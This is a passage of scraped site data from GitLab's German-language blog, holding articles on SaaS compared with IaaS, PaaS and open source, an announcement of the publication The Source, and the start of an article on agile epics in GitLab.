zur Verfügung. \n\n__Kollaboration:__ Gerade in agilen Unternehmen, in denen Mitglieder eines Teams gemeinsam an einem Projekt arbeiten, synchronisiert SaaS die geteilte Arbeit und sorgt für eine kontinuierliche Aktualisierung der Daten.\n\nSaaS ist das wohl erfolgreichste Kind der Cloud. Doch es ist nicht das einzige. Im Zusammenhang mit SaaS fallen oftmals zwei ähnliche Abkürzungen: IaaS und PaaS.\n\n## Wie unterscheiden sich SaaS, IaaS und PaaS?\n\nIaaS und PaaS sind streng genommen keine Alternativen zu SaaS. Vielmehr handelt es sich dabei um Angebote, die für ein anderes Leistungsspektrum stehen. Bei IaaS (Infrastructure as a Service) stellen Dienstleister lediglich die Hardware-Umgebung zur Verfügung, auf der deine Anwendungen laufen. So sparst du dir die Anschaffungskosten für einen eigenen Server.\n\nIaaS legt das Fundament für die Cloud. Die Software aber, die in deinen Projekten zur Anwendung kommen soll, ist nicht Teil eines IaaS-Pakets. Um effektiv arbeiten zu können, benötigst du deswegen ein zuverlässiges IT-Team, das sich um die Auswahl, Implementierung und den reibungslosen Betrieb  deiner Software kümmert.\n\nPlatform as a Service (PaaS) baut auf IaaS auf und geht einen Schritt weiter. Hier stellt der/die Dienstleistungsanbieter(in) neben der Infrastruktur auch ein kollektiv nutzbares Betriebssystem sowie Datenbanken zur Verfügung. Für dich und dein Team bleibt noch der Betrieb der Software, die auf dem Betriebssystem läuft, sowie alle damit verbundenen Aufgaben.\n\nWie aus dieser Erklärung deutlich wird, stellt SaaS kein Gegenmodell zu IaaS oder PaaS dar. Es ist lediglich die logische Fortsetzung und der vorläufige Endpunkt eines Prozesses, bei dem zunehmend mehr Funktionen und Aufgaben in die Cloud wandern. SaaS ist ganz offensichtlich der komfortabelste Weg zur Nutzung einer Vielzahl von Anwendungen und verlangt das geringste Know-how. Doch bedeutet das zugleich, dass es „besser” ist als die beiden anderen Optionen?\n\n## Was ist besser für mich: IaaS, PaaS oder SaaS?\n\nWelche der drei Ansätze für dein Unternehmen optimal ist, hängt von deinen unternehmerischen Zielen ab und davon, wie viel Erfahrung, Fachwissen und Zeit du in Aufbau und Betrieb einer individualisierten IT-Infrastruktur und -Ausstattung investieren kannst und/oder möchtest.\nDie folgenden Punkte können beim Abwägen eine Entscheidungshilfe bieten:\n\nJe geringer die Beteiligung des/der Dienstleisters(in) – und je mehr du dich in Richtung von PaaS und IaaS bewegst - umso mehr Kontrolle bleibt dir. Das kann ein Vorteil sein, wenn du beispielsweise auch weiterhin persönlich auf Probleme reagieren können möchtest, oder du sehr spezifische Ansprüche hast, die im Rahmen von SaaS nicht abgedeckt werden. \t\n\nJe geringer die Beteiligung des/der Dienstleisters(in), umso individueller kannst du deine Software-Lösungen gestalten. In manchen Fällen werden sogar selbst programmierte Anwendungen optimal sein. Dazu bietet sich dann beispielsweise PaaS an: Du outsourced die Hardware und kannst dich voll auf die Entwicklung konzentrieren. \t\n\nJe geringer die Beteiligung des/der Dienstleisters(in), umso erfahrener und kompetenter muss dein IT-Team sein. Vor allem IaaS verlangt als minimalistische Lösung gut ausgebildete Fachkräfte, die auch unter Druck schnell und fehlerfrei arbeiten und für das Unternehmen ein harmonisch abgestimmtes System zusammenstellen können.\n\nDie Grenzen zwischen diesen drei Cloud-Modellen verlaufen indes fließend. Es ist beispielsweise nahezu selbstverständlich, für die Softwareentwicklung  individuelle Software-Angebote zu nutzen, die auf einer SaaS-Basis angeboten werden.\n\nFür die meisten Unternehmen lässt sich durchaus sagen, dass mit der Nutzung von SaaS einige eindeutige Vorteile verbunden sind.\n\n## Was sind die Vorteile von SaaS?\n\nWie erwähnt ist SaaS zweifelsfrei die komfortabelste der drei vorgestellten Software-System-Optionen: Nach dem Abschluss eines Abonnements können du und dein Team zügig auf die Software zugreifen.\n\nDas ist aber nicht der einzige Pluspunkt. In der folgenden Übersicht findest du die wichtigsten SaaS-Vorteile:\n\n- Die Kosten von SaaS sind gegenüber einem vergleichbaren On-Premise-Lizenzmodell einfacher skalierbar und oftmals niedriger. Der Vorteil ist besonders augenscheinlich, wenn du Anwendungen mit einem sehr hohen On-Premise-Anschaffungspreis nur über einen kurzen Zeitraum hinweg nutzen möchtest..\n\n- SaaS erlaubt es dir, Software im laufenden Betrieb zu testen. Oftmals zeigt erst die praktische Nutzung, ob eine Anwendung wirklich ideal für dich ist. Gerade für kleinere Unternehmen mit niedrigem Budget schafft SaaS einfache Einstiegsmöglichkeiten.\n\n- SaaS bietet Zugang zu Updates. Das bedeutet, dass du jederzeit die beste und sicherste Version der Software nutzt.\n\nAuch zu erwähnen ist die Kollaborationsfunktionalität, die besonders hilfreich ist, wenn Mitarbeiter(innen) deines Unternehmens über verschiedene Zeitzonen hinweg mit einer Anwendung arbeiten wollen. Der Zugriff ist mit SaaS jederzeit gewährleistet.\n\n## Wie fällt der Vergleich mit Open-Source-Software aus?\n\nGelegentlich werden SaaS und Open Source einander gegenübergestellt. Das ist irreführend, da die beiden Ansätze einander nicht ausschließen. So gibt es auch Anwendungen, die im Rahmen von SaaS als Freemium angeboten werden. Google Docs haben wir als Beispiel genau hierfür bereits genannt. Andersherum gibt es Open-Source-Konzepte, die über SaaS genutzt werden können.\n\nDennoch stellt sich gelegentlich die Frage, welcher der beiden Alternativen die bessere Wahl darstellt. Vor allem, wenn der Preis das Hauptargument für SaaS ist, erscheint es konsequent zu untersuchen, ob sich mit Open Source nicht noch mehr Kosten einsparen, und noch bessere Ergebnisse erzielen lassen. Genau wie bei der Entscheidung zwischen IaaS, PaaS und SaaS sind auch bei der Gegenüberstellung von Open Source und SaaS Kontrolle und Personalisierung die Hauptaspekte:\n\nOpen-Source-Systeme können speziell auf dein Unternehmen zugeschnitten werden. Das macht sie – eine gute Entwicklung und Planung vorausgesetzt – effizienter. Gleichzeitig verlangen sie eine hohe Eigenbeteiligung, hervorragend ausgebildetes Personal und ausreichend Zeit in der Entwicklungsphase. \t\n\nTheoretisch ist Open Source kostenlos nutzbar. Aber in der Praxis steht dem ein sehr hoher Personaleinsatz gegenüber. Welches Modell hier also ökonomisch sinnvoller ist, lässt sich nur selten eindeutig feststellen. \t\n\nSaaS erlaubt dir, sehr schnell auf veränderte Marktbedingungen zu reagieren. Je nach Abrechnungsmodalität kannst du bereits innerhalb eines Monats zu einer neuen Software wechseln. Nicht als SaaS ausgelieferte Open-Source-Software ist im direkten Vergleich weniger flexibel und die Umstellungszeiten fallen deutlich länger aus. \t\n\nWenn du mehr über die Thematik erfahren möchtest, empfehlen wir dir einen Artikel des Fachmagazins t3n, in dem die 5 häufigsten Mythen zu Open Source beschrieben werden. \n\n## Was ist mit dem Sicherheitsaspekt?\n\nEs wird oftmals bemängelt, dass SaaS ein Sicherheitsrisiko darstellt. Ganz von der Hand zu weisen ist dieser Punkt nicht. Jede Software, die von mehreren Nutzern geteilt und über eine Internetverbindung genutzt wird, birgt das Risiko eines Hackerangriffs oder des Datendiebstahls.\n\nEs gilt aber genauso, dass auch individuelle oder traditionelle lokale Installationen keinen perfekten Schutz bieten. Dies wird ersichtlich, wenn man bedenkt, wie viele große Unternehmen mit hohem IT-Sicherheitsbudget im Laufe der Jahre von Datenverlusten oder Cyber-Angriffen betroffen waren. Auch On-Premise-Software wird in der Regel auf die Cloud oder das Internet zugreifen.\n\nLetzten Endes kann man davon ausgehen, dass SaaS-Anbieter besser darauf vorbereitet sind, die Sicherheit des Systems zu gewährleisten und Abwehrmechanismen stets auf dem aktuellen Stand zu halten, als die meisten Unternehmens-IT-Teams. Ein Security-Defizit von SaaS ist deswegen eher von der Hand zu weisen.\n\n## SaaS-Best-Practises\n\nWie jedes Delivery-Modell hat Software-as-a-Service Vorteile und Nachteile.\nMit der richtigen Strategie aber kannst du die Nachteile umgehen. Hier sind die SaaS-Best-Practises, mit denen du den größtmöglichen Nutzen aus Abo-Modellen ziehst:\n\nSaaS impliziert wie erwähnt einen gewissen Kontrollverlust. Das ist vollkommen unbedenklich, solange die Software die Funktionalität bietet, die du brauchst. Achte aber darauf, dass du nicht in eine Lock-In-Situation gelangst, bei der ein schneller und \tsicherer Wechsel zu einem/r anderen Anbieter(in) nicht mehr möglich ist.\n\nBeschränke dich auf das, was du wirklich brauchst: SaaS ist im direkten Vergleich mit anderen Delivery-Modellen oftmals günstiger. Das sollte aber nicht dazu führen, dass du Abonnements anhäufst. Erwirb nur die Lizenzen, die du wirklich brauchst.\n\nPrüfe regelmäßig, ob die Performance noch passt. Gerade bei sehr beliebter Software kann es bei zu hohen Anwenderzahlen im Rahmen von SaaS zu einem Abfallen der Leistungsfähigkeit kommen. \t\n\nRichte Erinnerungen an die Verlängerungszeitpunkte in deinem Kalender ein und stelle die Software auf den Prüfstand: Macht es wirklich Sinn, sie noch um ein weiteres Jahr zu verlängern? Gibt es bessere oder ebenbürtige Optionen, die zu einem günstigeren Abo-Preis angeboten werden?\n\n## Wie wird sich SaaS auf die Zukunft der Softwareentwicklung auswirken?\n\nSaaS ist eine der wichtigsten Neuerungen für die Software-Delivery. Einerseits hat es die besten Tools deutlich einfacher verfügbar gemacht und somit Eintrittsbarrieren oder Wettbewerbsverzerrungen aufgehoben.\n\nDer Markt für Software war selten demokratischer als er es heute ist. Und das ist zum Großteil SaaS zu verdanken.\nViele der zentralen Aspekte von SaaS werden in Zukunft noch mehr an Bedeutung gewinnen. Hervorzuheben sind hierbei:\n\nGrößere Personalisierung: Der Markt für SaaS ist inzwischen so lukrativ und \tumfangreich, dass sich für nahezu jede Anforderung die passende Anwendung findet. Custom-Lösungen sind in der Regel gar nicht mehr erforderlich.\n\nDie Beziehung zwischen Nutzer(inne)n und Entwickler(inne)n wird immer enger. Agile Softwareentwicklung hat zu einer direkten Kommunikation beigetragen, die dazu führt, dass Angebote mehr auf konkrete Bedürfnisse ausgerichtet werden. Dieser Trend wird die Entwicklung in Zukunft dominieren. \t\n\nNo-Code- oder Low-Code-Anwendungen werden es Unternehmen erlauben, zunehmend selbst Lösungen umzusetzen, die genau ihren Bedürfnissen entsprechen. Mittelfristig werden die Grenzen zwischen Nutzer(inne)n und Entwickler(inne)n ebenso verschwimmen wie zwischen SaaS- und Individuallösungen. \t\n\n## Zukunftstrends im SaaS-Bereich\n\nWir haben es im ersten Absatz bereits angedeutet: Der SaaS-Markt boomt. Für Entwickler(innen) bleibt es auch weiterhin sehr attraktiv, sich bezüglich der eigenen Produkte in diese Richtung zu orientieren.\n\nWohin wird sich der Markt bewegen? Hier sind einige Punkte, die mit sehr großer Wahrscheinlichkeit die nächsten Jahre bestimmen werden:\n__\nMulti-Cloud-Umgebungen und SaaS:__ Der Trend geht eindeutig zur Zweit-Cloud. In Zukunft wird die Arbeit mit einer Vielzahl teils hochspezialisierter Cloud-Anbieter zum Tagesgeschäft gehören. SaaS-Anwendungen werden sich dieser Entwicklung anpassen und zielgerichtete Lösungen für einen optimierten Einsatz bieten.\n__ \t\nContainerisierung:__ Immer mehr Unternehmen optimieren Software durch Containerisierung und Orchestrierung, beispielsweise mittels Kubernetes. Dies wird auch in der Umsetzung von SaaS-Applikationen zum Tragen kommen. \t \t\n__ \t\nPredictive Analytics:__ SaaS erlaubt es dir, ungemein viele und wertvolle Daten über die Nutzung einer Software zu sammeln. Das gilt sowohl für Anwender(innen) als auch für Entwickler(innen). Diese Daten zielführend auszuwerten, ist der Schlüssel zum Erfolg, weil du nur anhand aussagekräftiger Daten sinnvoll auf Kundenbedürfnisse eingehen kannst. \t\n__ \t\nUsage-based Pricing:__ Kosten bleiben auch weiterhin ein starkes Argument für SaaS. So ist zu erwarten, dass es hier zu einer Erweiterung des Marktes um neue Modalitäten kommen wird. Ansätze, bei denen du wirklich nur für das zahlst, was du auch wirklich nutzt, werden sich wahrscheinlich schon bald auf breiter Basis durchsetzen. \t\n\n## SaaS-FAQs\n### Wann sollte ich SaaS nicht nutzen?\n\nSaaS eignet sich für nahezu alle Branchen und Anwendungsbeispiele. Dennoch gibt es Situationen, in denen andere Delivery-Modelle besser geeignet sind.\nHier sind einerseits besonders Anwendungen zu nennen, die ein sehr hohes Maß an Individualisierung erfordern. Zum Beispiel wenn dein Unternehmen sehr eng und langfristig mit verschiedenen Kund(inn)en zusammenarbeitet. Es kann sich lohnen, in die Entwicklung einer eigenen Software zu investieren, um gezielt auf die Bedürfnisse dieser Kund(inn)en einzugehen.\n\nAuch wenn du großen Wert auf Performance, beziehungsweise Geschwindigkeit legst, ist SaaS unter Umständen nicht die ideale Lösung für dich. Wenn deine Software auf deinem eigenen, leistungsfähigen Server läuft, wird sie in der Regel eine bessere Performance aufweisen als ein vergleichbares SaaS-Produkt.\n\n### Ist SaaS wirklich günstiger als On-Premise-Software? \nÜblicherweise ja. Die Einstiegskosten von SaaS sind niedriger, SaaS erlaubt oftmals sehr viel einfacher eine kostenlose bzw. kostenreduzierte Testphase und du kannst das Abonnement für kürzere Zeiträume abschließen und damit Geld sparen.\n\nUpdates und Aktualisierungen auf neue Versionen fallen gegenüber On-Premise-Lizenzen zum Vorteil von SaaS aus. Zudem ist SaaS einfacher skalierbar.\n\nZu bedenken ist aber, dass SaaS-Lizenzen auch bezahlt werden müssen, wenn Mitarbeiter(innen) das Produkt nicht nutzen. Bei nutzungsbedingter Bezahlung wiederum kann das Volumen so hoch ausfallen, dass die hierbei anfallenden Kosten die einer traditionellen Lizenz übersteigen.\n\nEs  dürfen keine Leistungseinbußen durch SaaS hingenommen werden, insofern diese geschäftsschädigend sind. Wenn dir durch die Verwendung langsamer oder nicht voll funktionsfähiger Software Kunden wegbrechen, solltest du den Einsatz von SaaS überdenken.\n\n### Spricht Interoperability gegen SaaS?\n\nInteroperability bezeichnet die Funktions- und Kommunikationsfähigkeit von Software in einer Cloud-Umgebung. Je besser die verschiedenen von dir verwendeten Tools miteinander kombiniert werden können, desto höher ist die Interoperability deines Systems. \n\nIn einer Welt, in der die Cloud zunehmend zum Standard wird, ist Interoperability eine der wichtigsten Entscheidungsgrundlagen. Denn nur, wenn die von dir erworbenen Anwendungen in der Lage sind, ihre Daten fehlerfrei und effizient auszutauschen, kannst du vollen Nutzen aus ihnen ziehen.\n\nSaaS stellt insofern eine Bedrohung für Interoperability dar, als dass du in deinem Portfolio gewiss sehr viel Software verwendest, die von unterschiedlichen Entwickler(inne)n aus unterschiedlichen Branchen und verschiedenen Ländern zur Verfügung gestellt werden. Manche dieser Lösungen sind brandneu, andere bereits mehrere Jahre alt. Wiederum andere stehen vielleicht sogar kurz vor der Terminierung.\n\nAuch wenn du bei SaaS auf Kompatibilität achten solltest, halten wir es für falsch, Interoperability nur hier als ein Risiko zu betrachten. Genauer gesagt, dürfte die Interoperability tendenziell dank SaaS sogar steigen: Weil alle Marktteilnehmer davon profitieren, nimmt die Zahl geteilter Standards eher zu, Netzwerke aufeinander abgestimmter Komponenten bilden sich heraus und der Umstieg auf andere Software wird erleichtert.\n\nZusammenfassend lässt sich also feststellen, dass Interoperability gewiss kein Argument gegen SaaS ist.","insights",[1875,552,2014],{"slug":2561,"featured":6,"template":682},"software-as-a-service-the-future-of-software-delivery","content:de-de:blog:software-as-a-service-the-future-of-software-delivery.yml","Software As A Service The Future Of Software Delivery","de-de/blog/software-as-a-service-the-future-of-software-delivery.yml","de-de/blog/software-as-a-service-the-future-of-software-delivery",{"_path":2567,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2568,"content":2574,"config":2580,"_id":2582,"_type":16,"title":2583,"_source":17,"_file":2584,"_stem":2585,"_extension":20},"/de-de/blog/introducing-the-source-insights-for-the-future-of-software-development",{"title":2569,"description":2570,"ogTitle":2569,"ogDescription":2570,"noIndex":6,"ogImage":2571,"ogUrl":2572,"ogSiteName":1396,"ogType":1397,"canonicalUrls":2572,"schema":2573},"Einführung in The Source: Einblicke in die Zukunft der Softwareentwicklung","In unserer neuen Publikation findest du transformative Softwareentwicklungsstrategien und Ratschläge von Expert(inn)en zu neuen Technologien.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674616/Blog/Hero%20Images/blog-image-template-1800x945__1_.png","https://about.gitlab.com/blog/introducing-the-source-insights-for-the-future-of-software-development","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Einführung in The Source: Einblicke in die Zukunft der Softwareentwicklung\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Chandler Gibbons\"}],\n        \"datePublished\": \"2024-10-29\",\n      }",{"title":2569,"description":2570,"authors":2575,"heroImage":2571,"date":2577,"body":2578,"category":723,"tags":2579,"updatedDate":2494},[2576],"Chandler Gibbons","2024-10-29","Die moderne Softwareentwicklung verändert die Art und Weise, wie Unternehmen geschäftlichen Mehrwert schaffen, liefern und skalieren. Die Teams müssen in der Lage sein, schnell und effizient Lösungen zu entwickeln und gleichzeitig mit den zunehmenden Sicherheitsbedrohungen, neuen Technologien und immer komplexeren Compliance-Anforderungen umzugehen.\n\nHeute bringt GitLab [The Source](https://about.gitlab.com/the-source/) auf den Markt, eine neue Publikation, die sich mit der Entwicklung der Softwareentwicklung als Motor für den Geschäftserfolg beschäftigt. Wir bieten regelmäßig Einblicke in die Zukunft der Softwareentwicklung, gestützt auf eigene Forschung und Analysen unserer Fachleute und Vordenker(innen).\n\nAuf The Source findest du zum Beispiel Antworten auf folgende Fragen:  \n* Wie können Führungskräfte den ROI von KI über den gesamten Software-Entwicklungsprozess hinweg messen?    \n* Wie lassen sich Sicherheit und Compliance in der gesamten Software-Lieferkette am besten gewährleisten?\n* Welche Arten von Effizienzgewinnen können Teams durch die Konsolidierung von Plattformen und Toolchains erzielen?\n\nHier ein aktueller Auszug von The Source:\n\n**4 Schritte zur Messung der Auswirkungen von KI**\n\n„Die Bewertung der Produktivität von KI-gestütztem Coding erfordert einen differenzierteren Ansatz als herkömmliche Kennzahlen wie Codezeilen, Code Commits oder die Erledigung von Aufgaben. Es ist notwendig, den Fokus auf reale Geschäftsergebnisse zu verlagern, die ein Gleichgewicht zwischen Entwicklungsgeschwindigkeit, Softwarequalität und Sicherheit herstellen.“  \n- [Erfahre mehr über die 4 nötigen Schritte vom KI-Experten Taylor McCaslin (nur in englischer Sprache)](https://about.gitlab.com/the-source/ai/4-steps-for-measuring-the-impact-of-ai/)\n\n**Behebung der Grundursache für häufigen Frust, der durch umständliche Sicherheitsanforderungen verursacht wird**\n\n„DevSecOps verspricht eine bessere Integration zwischen Engineering und Sicherheit, aber es ist klar, dass Frustrationen und Fehlausrichtungen bestehen bleiben. Das liegt daran, dass diese Herausforderungen Symptome eines größeren Problems sind, wie Unternehmen Sicherheit sehen, wie Teams zusammenarbeiten und wie sie Zeit für Sicherheit aufwenden.“\n- [Löse dieses Problem mit fachkundigem Rat des CISO von GitLab, Josh Lemos (nur in englischer Sprache).](https://about.gitlab.com/the-source/security/security-its-more-than-culture-addressing-the-root-cause-of-common-security/)\n\n**Bessere Geschäftsergebnisse durch Platform Engineering**\n\n„Platform Engineering zielt darauf ab, die Workflows von Entwickler(inne)n zu normalisieren und zu standardisieren, indem es Entwickler(inne)n optimierte „Golden Paths“ für die meisten ihrer Workloads und Flexibilität bei der Definition von Ausnahmen für den Rest bietet.“\n- [Entdecke die Best Practices für den Erfolg des Platform Engineerings von Brian Wald, Field CTO von GitLab (nur in englischer Sprache).](https://about.gitlab.com/the-source/platform/driving-business-results-with-platform-engineering/)\n\n## Lass dir von The Source bei deinen Entscheidungen helfen\n\nAuf [The Source (nur in englischer Sprache)](https://about.gitlab.com/the-source/), findest du die neuesten Erkenntnisse, Antworten auf deine Fragen zu Führungsthemen und kannst immer etwas Neues lernen, das du mit deinen Teams teilen kannst. Du kannst auch unseren Newsletter abonnieren, um regelmäßige Updates direkt in deinem Posteingang zu erhalten. Werde Teil unserer Community zukunftsorientierter Technologie-Leader und gestalte die Zukunft der Softwareentwicklung mit.",[679,765,723,787],{"slug":2581,"featured":92,"template":682},"introducing-the-source-insights-for-the-future-of-software-development","content:de-de:blog:introducing-the-source-insights-for-the-future-of-software-development.yml","Introducing The Source Insights For The Future Of Software Development","de-de/blog/introducing-the-source-insights-for-the-future-of-software-development.yml","de-de/blog/introducing-the-source-insights-for-the-future-of-software-development",{"_path":2587,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2588,"content":2594,"config":2599,"_id":2601,"_type":16,"title":2602,"_source":17,"_file":2603,"_stem":2604,"_extension":20},"/de-de/blog/agile-epics-in-gitlab",{"title":2589,"description":2590,"ogTitle":2589,"ogDescription":2590,"noIndex":6,"ogImage":2591,"ogUrl":2592,"ogSiteName":1396,"ogType":1397,"canonicalUrls":2592,"schema":2593},"Agile Epics in GitLab: Mit Sicherheit zum Erfolg","Agile Epics sind eine Methode, auch bei komplexen Entwicklungsprojekten den Überblick zu behalten. Wir zeigen dir, wie es funktioniert.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749665856/Blog/Hero%20Images/AdobeStock_869074524.jpg","https://about.gitlab.com/blog/agile-epics-in-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Agile Epics in GitLab: Mit Sicherheit zum Erfolg\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab Germany Team\"}],\n        \"datePublished\": \"2024-10-17\",\n      }",{"title":2589,"description":2590,"authors":2595,"heroImage":2591,"date":2596,"body":2597,"category":976,"tags":2598},[701],"2024-10-17","Agiles Projektmanagement führt schnell und effizient zu kundenorientierten Produkten. Aber es verlangt eine sehr genaue Planung. Epics helfen dabei.\n\nIn ihrer einfachsten Form sind Epics eine Methode, komplexe Ziele in kleine, leichter zu bewältigende Pakete aufzuteilen. Richtig angewandt können sie dazu beitragen, bessere agile Strategien für dein Unternehmen zu entwickeln.\n\nEpics bieten sich insbesondere für die Softwareentwicklung, beispielsweise in GitLab an. Doch beschränkt sich ihr Einsatz nicht darauf. Ein Epic ist ein flexibles Instrument, das in nahezu jeder Branche Anwendung finden kann.\n\nGerne zeigen wir dir, wie du Epics gewinnbringend einsetzen kannst.\n\n## Was ist ein Epic?\n\nGanz gleich, ob du neue Software entwickelst oder dir einen besseren Überblick über deine monatlichen Kennzahlen verschaffen möchtest: dein Anforderungsprofil wird in der Regel aus einer Liste von gewünschten Funktionen, Leistungen oder Informationen bestehen.\n\nDie meisten dieser Funktionen - auch „User Stories“ genannt – stellen das Team vor eine genau umrissene Aufgabe. Einige User Stories sind aber umfassender … Ihre Umsetzung erfordert eine Vielzahl von Aufgaben, die alle eng miteinander verknüpft und üblicherweise abteilungsübergreifend sind.\n\nDiese [größeren User Stories](https://www.business-wissen.de/artikel/user-storys-schreiben-beispiele-anleitung-tipps/ \"größeren User Stories\") bezeichnet man in der agilen Entwicklung als Epics. Epics spielen in der Planung eine zentrale Rolle, unabhängig davon, ob du mit Scrum oder Kanban oder einem anderen agilen Tool arbeitest.\n\n## Epics in GitLab\n\nAuch in GitLab dienen Epics dazu, umfassende User Stories oder geplante Features, die sich über verschiedene Projekte und Diskussionen erstrecken, thematisch zusammenzufassen und zu organisieren.\n\nEpics als umfassende User Stories sind kein exklusives GitLab-Feature. Ihre Integration ist hier aber besonders organisch, da GitLab als führende DevSecOps-Plattform eng mit derselben Agile-Philosophie verbunden ist, auf der auch Epics basieren.\n\nEinerseits erlauben GitLab Epics es dir, sehr präzise die unterschiedlichen Arbeitsphasen der Teams nachzuvollziehen und auf einer fast schon mikroskopischen Ebene detaillierte Planungen vorzunehmen. Andererseits bieten sie einen hervorragenden Rahmen, Projekte von einer übergeordneten Ebene aus zu betrachten und Synergien zu nutzen.\n\nIn dem folgenden Video findest du eine kurze Einleitung dazu, welchen praktischen Nutzen die Arbeit mit Epics in einem Tool wie GitLab bietet:\n\n\u003Ciframe width=\"760\" height=\"515\" src=\"https://www.youtube.com/embed/kdE-yb6Puuo?si=e8BxOIowpT-eDb7U\" title=\"YouTube video player\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen>\u003C/iframe>\n\n## Was ist ein Epic?\n\nDer IT-Coach und -Berater Anthony Murphy [hat darauf hingewiesen](https://www.antmurphy.me/newsletter/from-epics-amp-stories-to-hypotheses-and-problem-statements-shifting-to-outcomes \"hat darauf hingewiesen\"), dass sich die Diskussion um Epics oftmals in Definitionen und Begriffserklärungen erschöpft. Wenn du den Begriff in eine Suchmaschine eingibst, wirst du in der Regel eine Vielzahl von Artikeln finden, die den Sachverhalt eher verkomplizieren.\n\nDabei lässt sich die Frage, was ein Epic ist, eigentlich ganz einfach beantworten: Sie unterstützen dich dabei, deine Visionen, die gerade in der Softwareentwicklung recht komplex sein können, so zu gliedern, dass sie sich Schritt für Schritt bewältigen lassen – und dabei schneller als traditionelle Methoden, wie z. B. dem Wasserfallmodell, zu marktfähigen Produkten führen.\n\nDas eigentliche Ziel besteht für Murphy darin, „unsere gewünschten Ergebnisse zu definieren, Experimente anzudenken oder auch schlicht und einfach unsere Nutzer(innen) besser zu verstehen.“\n\n## Denke Top-Down\n\nEntscheidend für eine gelungene Verwendung von Epics ist, Top-Down zu denken. Epics sind selbst eigenständige Ziele, die allerdings in kleinere Abschnitte aufgeteilt werden können und müssen.\n\nEs geht also weniger darum, penibel alle Epic Stories umzusetzen. Was zählt ist vielmehr, dass das Hauptziel erreicht wird – beispielsweise die Veröffentlichung eines neuen Features. So erlauben Epics eine bessere Einschätzung, welche User Stories wirklich relevant sind und welche unter Umständen ausgelassen werden können.\n\nDiese Top-Down-Sicht erlaubt es uns auch, die oftmals verwirrende Flut an Definitionen verständlich zu machen, die Epics umgibt. Dabei fallen häufig Begriffe wie „Themes“, „Initiatives“ oder „Milestones“. Nur wie lassen sich diese Begriffe voneinander abgrenzen?\n\n## Begrifflichkeiten: Themes, Initiatives, Epics, User Stories, Story Tasks\n\nDer Erfolg eines Unternehmens gerade in der Softwareentwicklung besteht darin, ein Gleichgewicht zwischen langfristigen Richtungsentscheidungen und einem schnellen, agilen Reagieren auf kurzfristige Entwicklungen zu erreichen.\n\nDer Zeithorizont entscheidet in der Regel, welcher Begriff in einem gegebenen Kontext der passendste ist:\n- Auf höchster Managementebene werden die grundlegenden Visionen mit sogenannten *Themes* vorgegeben, deren Zeithorizont sich auf mehrere Jahre erstrecken kann.\n- Themes werden durch die Umsetzung komplexer mittelfristiger Ziele – den *Initiatives* - erreicht.\n- *Epics* befinden sich auf der Ebene darunter und beschreiben in der Regel Projekte mit einer Laufzeit von circa sechs Monaten bis zu einem Jahr.\n- *User Stories* wiederum werden, beispielsweise in Scrum, durch iterative Zyklen von zweiwöchentlichen Sprints abgebildet.\n- Zur praktischen Umsetzung einer User Story werden konkrete Aufgaben – Tasks – an die Teams delegiert.\n\nZwischen diesen Ebenen findet eine ständige Kommunikation statt, so dass die Planung zwar von oben nach unten verläuft, aber dabei stets Rückmeldungen von unten in die zukünftige Aufgabenverteilung mit einbezogen werden.\n\n## Was ist ein Child Epic in GitLab? \n\nIm Zusammenhang mit GitLab Epics fällt auch oftmals der Begriff „Child Epic“. In GitLab bezeichnet er eine Unterkategorie, die unter der Ebene einer User Story ansetzt.\n\nHintergrund ist, dass auch manche User Stories mehrere Sprints umfassen und gelegentlich in verschiedene, kleinere Story Tasks aufgeteilt werden können. Um ein höheres Maß an Transparenz zu erreichen, können Child Epics Aufgaben kennzeichnen, die idealerweise in einem einzigen oder vielleicht zwei Sprints bewältigt werden können.\n\nSo helfen Child Epics dabei, einer noch genauere zeitliche Planung zu erreichen.\n\n## Alternative Sichtweisen auf Epics\n\nZwar empfiehlt es sich in der Regel, Epics Top-Down zu strukturieren. Alternativ kannst du Epics aber auch nutzen, um bestehende Aufgaben zu bündeln und so deine inneren betrieblichen Abläufe kohärenter zu gestalten oder neue Verbindungen zwischen scheinbar isolierten Abteilungen herzustellen.\n\nStell dir vor,Kundenkontakte werden von verschiedenen Abteilungen getrennt gepflegt. Dann kannst du ein Epic schaffen, mit dem du diese Aktivitäten zusammenführst. Besucher der Homepage können dann beispielsweise Leistungen und Produkte bewerten, Kommentare abgeben und direktes Feedback per E-Mail versenden. Diese Rückmeldungen werden an alle Teams weitergeleitet, gemeinsam diskutiert und eventuelle Optimierungen im Verbund entwickelt und umgesetzt.\n\nZudem können Epics auch im Rahmen von Themes entstehen, also aus einer visionären Planung heraus. Hierbei findet die Top-Down-Organisation eine Ebene höher statt und die Epics folgen ihr.\n\n## Epics: Beispiele aus der Scrum-Praxis\n\nEpics finden überall dort Anwendung, wo Teams kollaborativ und mit einem klaren Endziel an einem umfangreichen Projekt arbeiten.\n\nSehen wir uns einige Beispiele für agile Epics aus der Scrum-Praxis an:\n\n- Ein Unternehmen aus dem Bankbereich bittet dich, die bestehende Website um einen Mitgliederbereich zu ergänzen, auf dem Kund(inn)en deine Ressourcen visuell darstellen und verschiedene finanzielle Szenarien durchspielen können.\n- Die Geschäftsleitung deiner Firma hat die Vorgabe gemacht, die Umsätze in diesem Jahr um 10 % zu steigern. Dazu benötigst du präzisere Daten für deine strategische Planung. Aus diesem Grund arbeitest du gemeinsam mit den anderen Abteilungen an einem System zur Datenerfassung.\n- Du betreibst einen Onlineshop für Yoga-Produkte. Eine mobileApp soll Kund(inn)en aktuelle Produktneuheiten und Angebote direkt auf ihr Smartphone liefern und sie mit Informationen und Tipps zu deiner Yoga-Praxis längerfristig binden.\n\nEs lässt sich bei diesen Epics-Beispielen recht eindeutig erkennen, dass es sich hier nicht um einfache User Stories handelt, sondern um umfangreiche Projekte, die auf ein fassbares Endprodukt ausgerichtet sind.\n\nIn dem folgenden Video findest du eine noch detailliertere Betrachtungsweise, die zeigt, wie du in GitLab konkret Projekte mit Epics planen und aktualisieren 